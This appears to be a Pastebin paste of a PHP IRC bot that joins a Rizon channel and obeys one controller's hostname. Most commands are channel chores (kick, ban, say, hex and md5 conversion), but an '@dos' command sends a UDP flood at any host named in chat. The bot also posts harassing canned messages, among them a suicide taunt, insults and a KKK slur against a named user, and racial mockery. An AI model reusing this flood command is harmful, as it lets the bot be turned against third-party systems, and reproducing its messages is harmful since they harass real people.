Advertisement
Guest User

Untitled

a guest
Jul 20th, 2017
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.26 KB | None | 0 0
  1. <?
  2. //----------------------------
  3. //Stops the script from timing out after 30 seconds
  4. set_time_limit(0);
  5.  
  6. //Connecting information
  7. $server="irc.rizon.net";
  8.  
  9. $Port="6667";
  10.  
  11. $nick="Net0Bot";
  12.  
  13. $Channel="#balkanhat";
  14. $pass = "";
  15.  
  16. $Channelpass="";
  17.  
  18.  
  19. //Loop booleans
  20.  
  21. $loop = 0; $verbonden = 0;
  22. //Connecting to socket variable
  23.  
  24. $verbinden = fsockopen($server, $Port);
  25.  
  26. //Start connection and loop
  27.  
  28. while(1) {
  29.  
  30. while ($read = fgets($verbinden)) {
  31.  
  32.  
  33. //Detects strings and converts read variable into an array
  34.  
  35. $read = str_replace("\n","",$read); $read = str_replace("\r","",$read);
  36.  
  37. $read2 = explode(" ",$read);
  38.  
  39.  
  40.  
  41. //Starts loop back of login and logs the bot in as UniBot
  42.  
  43. if ($loop == 0) {
  44.  
  45. fputs($verbinden,"nick $nick\n\n");
  46.  
  47. fputs($verbinden,"USER UniBot 0 * :woopie\n\n");
  48. fputs($verbinden,"PASS uniwhore123%123\n\n");
  49.  
  50. }
  51.  
  52. //Converts read2 variable into string
  53. $args = NULL; for ($i = 4; $i < count($read2); $i++) { $args .= $read2[$i] . ' '; }
  54.  
  55.  
  56. if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }
  57.  
  58.  
  59. //Joins channel
  60.  
  61. if ($read2[1] == 251) {
  62.  
  63. fputs($verbinden,"join $Channel $Channelpass\n");
  64.  
  65. $verbonden++;
  66.  
  67. }
  68.  
  69. //Gets user's NICK
  70. preg_match("/:(.*?)!/i", $read2[0], $matches);
  71.  
  72. //Stores user search result into nnick
  73. $nnick = $matches['1'];
  74.  
  75. //Starts random number for shredurface command block
  76. $id = mt_rand(0, 4);
  77.  
  78. //Kick Command, plain kick no reason
  79. if ((eregi("@kick", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  80.  
  81. fputs($verbinden,"KICK $Channel $read2[4] \n");
  82.  
  83. }
  84.  
  85. //Kick command, kicks the user from the channel and puts old school socom error 30 for lagout ;)
  86. if ((eregi("@boot", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  87.  
  88. if (eregi("UniBot", $read2[4])) {
  89. fputs($verbinden, "PRIVMSG $Channel :Uhh yes, hi.. um.... $nnick do you think i'm that stupid enough too boot myself? You failed, please.. Just kill yourself $nnick because that was a failed attempt and god should smight you for that epic fail.\n");
  90. }
  91. else {
  92.  
  93. fputs($verbinden, "KICK $Channel $read2[4] Network error(30)\n");
  94. }
  95.  
  96. }
  97.  
  98.  
  99. //Ban command, bans the username from the channel
  100. if ((eregi("@ban", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  101. fputs ($verbinden, "MODE $Channel +b $read2[4] Network Error(35)\n");
  102. }
  103.  
  104. //Say command, make the bot say something
  105. if ((eregi("@say", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  106. fputs ($verbinden, "PRIVMSG $Channel :$args\n");
  107. }
  108.  
  109. //Detects a person saying hello or hi and replies back
  110. $hi = '/\bhi\b/i'; // Searches for hi as a single word
  111. $hello = '/\bhello\b/i'; // Searches for hello as a single word
  112. if((preg_match($hi, $read)!==0) or preg_match($hello, $read)!==0) {
  113. fputs ($verbinden, "PRIVMSG $Channel :Well hello there $nnick! Glad you joined the IRC! How are you doing?\n");
  114. }
  115.  
  116. //Slap command, slap a user!
  117. if (eregi("@slap", $read)) {
  118. fputs ($verbinden, "PRIVMSG $Channel :Slaps $read2[4] a bit with a large trout\n");
  119. }
  120.  
  121. //Shredurface Command
  122. if (eregi("shredurface", $read)) {
  123.  
  124. if ($id == 0) {
  125. fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is probably one of the biggest incorrect douchebags we have known besides Chuck Norris and .IV.Shooter..\n");
  126. }
  127. elseif ($id == 1) {
  128. fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is always insecure because he is scared of people surpassing him and has to swing his giant ePenis around like the man he is.\n");
  129. }
  130. elseif ($id == 2) {
  131. fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is so pathetic that he needs to rely on fake pussy from Sammy or should we say Samuel?\n");
  132. }
  133. elseif ($id == 3) {
  134. fputs($verbinden, "PRIVMSG $Channel :If you're smarter than Shredurface, you are dumb.\n");
  135. }
  136. elseif ($id == 4) {
  137. fputs($verbinden, "PRIVMSG $Channel :Shredurface is a biggot from georgia and is probably a part of the kkk.\n");
  138. }
  139. }
  140.  
  141. if (eregi("@hostname", $read)) {
  142. fputs($verbinden, "PRIVMSG $Channel :$read2[0]\n");
  143. }
  144.  
  145. //Reconnect command, stops script and refreshes page.. Half-Ass version
  146. if ((eregi("@reconnect", $read2[3]))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  147. fputs ($verbinden, "QUIT :Reconnecting..\n");
  148. Header("Location: newbot.php");
  149. }
  150.  
  151. //Detects the word sup and replies like a black man
  152. $sup = '/\bsup\b/i'; // Searches for sup as a single word
  153. if(preg_match($sup, $read)!==0)
  154. {
  155. fputs ($verbinden, "PRIVMSG $Channel :Yo WuD uP dAwG!1!1! I'm UnIbOt\n");
  156. }
  157.  
  158. $bye = '/\bbye\b/i';
  159. if(preg_match($bye, $read)!==0) {
  160. fputs($verbinden, "PRIVMSG $Channel :Good bye $nnick\n");
  161. }
  162.  
  163. //Converts ASCII to md5 HASH
  164. if (eregi("@md5", $read)) {
  165. fputs ($verbinden, "PRIVMSG $Channel :".md5($args). "\n");
  166. }
  167.  
  168. //Detects word sex and blurs out dumb shit
  169. $botSearch = '/\bsex\b/i'; // Searches for sex as a single word
  170. if(preg_match($botSearch, $read)!==0)
  171. {
  172. fputs ($verbinden, "PRIVMSG $Channel :You know I love sex $nnick, Maybe we should hookup later ;)\n");
  173. }
  174.  
  175. //OP Command, will op the user you put if user is detected
  176. //Format @op #Channel mode user
  177. if ((eregi("@op", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  178. fputs ($verbinden, "mode $read2[4] $read2[5] $read2[6]\n");
  179. }
  180.  
  181. //ASCII To Hex Conversion function, prints out in HEX
  182. if (eregi("@hex", $read)) {
  183.  
  184. $hex = '';
  185. for ($i=0; $i < strlen($args); $i++)
  186. {
  187. $hex .= dechex(ord($args[$i]));
  188. }
  189. $string = $hex;
  190.  
  191. fputs ($verbinden, "PRIVMSG $Channel :$string\n");
  192. }
  193.  
  194. //ASCII To Binary Conversion Function, prints out in BINARY
  195. if (eregi("@bin", $read)) {
  196. $hex = '';
  197. for ($i=0; $i < strlen($args); $i++)
  198. {
  199. $hex .= decbin(ord($args[$i]));
  200. }
  201. $string = $hex;
  202. fputs ($verbinden, "PRIVMSG $Channel :$string\n");
  203. }
  204.  
  205. //Date Command, prints current date and military time
  206. if (eregi("@date", $read)) {
  207. $date = date("l jS \of F Y h:i:s T");
  208. fputs ($verbinden, "PRIVMSG $Channel :$date\n");
  209. }
  210. //Type backwards!
  211. if (eregi("@rev", $read)) {
  212. fputs ($verbinden, "PRIVMSG $Channel :".strrev($args)."\n");
  213. }
  214.  
  215. //Join Command, Joins a channel
  216. if (eregi("@join", $read)) {
  217. fputs($verbinden, "JOIN $read2[4]\n");
  218. }
  219.  
  220. //Quit command, kills the script
  221. if ((eregi("@quit", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  222. fputs ($verbinden, "QUIT :Master is shutting me down..\n");
  223. die();
  224. }
  225.  
  226. //DoS command, responds only to your hostname set by IRC
  227. if ((eregi("@dos",$read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  228.  
  229. fputs($verbinden,"privmsg $Channel :dos-udp - started udp flood - $read2[4]\n\n");
  230.  
  231. $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30); // Stores udp connection into fp
  232.  
  233. if (!$fp)
  234.  
  235. {
  236.  
  237. //Kills command if errors detected
  238.  
  239. exit;
  240.  
  241. }
  242.  
  243. else // continues function if no errors detected
  244.  
  245. {
  246.  
  247. $char = "%"; // Data to send
  248.  
  249. for($a = 0; $a < 9999999999999; $a++) // sets flood amount
  250.  
  251. $data = $data.$char; // Multiples data
  252.  
  253.  
  254.  
  255. if(fputs ($fp, $data) ) // If completed
  256.  
  257. fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n"); // Tell channel its finished
  258.  
  259. else
  260.  
  261. fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n"); // Tell channel if error occured
  262.  
  263. }
  264.  
  265. }
  266. $loop++; // Loops the script to keep running
  267. }
  268. }
  269. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement